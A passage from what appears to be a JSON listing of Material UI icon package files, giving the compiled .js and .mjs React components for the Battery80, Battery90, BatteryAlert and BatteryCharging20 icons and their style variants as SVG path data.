    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\"\n  })]\n}), 'Battery80');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\"\n  })]\n}), 'Battery80');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\"\n  })]\n}), 'Battery80Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\"\n  })]\n}), 'Battery80Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\"\n  })]\n}), 'Battery80Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\"\n  })]\n}), 'Battery80Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v5h10V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 9v13h10V9H7z\"\n  })]\n}), 'Battery80Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v5h10V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 9v13h10V9H7z\"\n  })]\n}), 'Battery80Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\"\n  })]\n}), 'Battery80TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V9h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 9v11.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V9H7z\"\n  })]\n}), 'Battery80TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\"\n  })]\n}), 'Battery90');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\"\n  })]\n}), 'Battery90');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\"\n  })]\n}), 'Battery90Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\"\n  })]\n}), 'Battery90Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\"\n  })]\n}), 'Battery90Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\"\n  })]\n}), 'Battery90Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v4h10V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 8v14h10V8H7z\"\n  })]\n}), 'Battery90Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v4h10V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 8v14h10V8H7z\"\n  })]\n}), 'Battery90Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\"\n  })]\n}), 'Battery90TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery90TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V8h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 8v12.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V8H7z\"\n  })]\n}), 'Battery90TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm0-4h-2V9h2z\"\n}), 'BatteryAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm0-4h-2V9h2z\"\n}), 'BatteryAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm0-4h-2V9h2z\"\n}), 'BatteryAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm0-4h-2V9h2z\"\n}), 'BatteryAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm0-5c0 .55-.45 1-1 1s-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'BatteryAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.34 22h7.32c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm0-5c0 .55-.45 1-1 1s-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'BatteryAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10zm-4 14h-2v-2h2zm0-4h-2V9h2z\"\n}), 'BatteryAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4h-3V2h-4v2H7v18h10zm-4 14h-2v-2h2zm0-4h-2V9h2z\"\n}), 'BatteryAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm0-4h-2V9h2z\"\n}), 'BatteryAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryAlertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33v15.33C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V5.33C17 4.6 16.4 4 15.67 4M13 18h-2v-2h2zm0-4h-2V9h2z\"\n}), 'BatteryAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging20');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging20');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M11 20v-3H7v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17h-4.4L11 20z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h4v-2.5H9L13 7v5.5h2L12.6 17H17V5.33C17 4.6 16.4 4 15.67 4z\"\n  })]\n}), 'BatteryCharging20Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatteryCharging20Outlined.mjs",
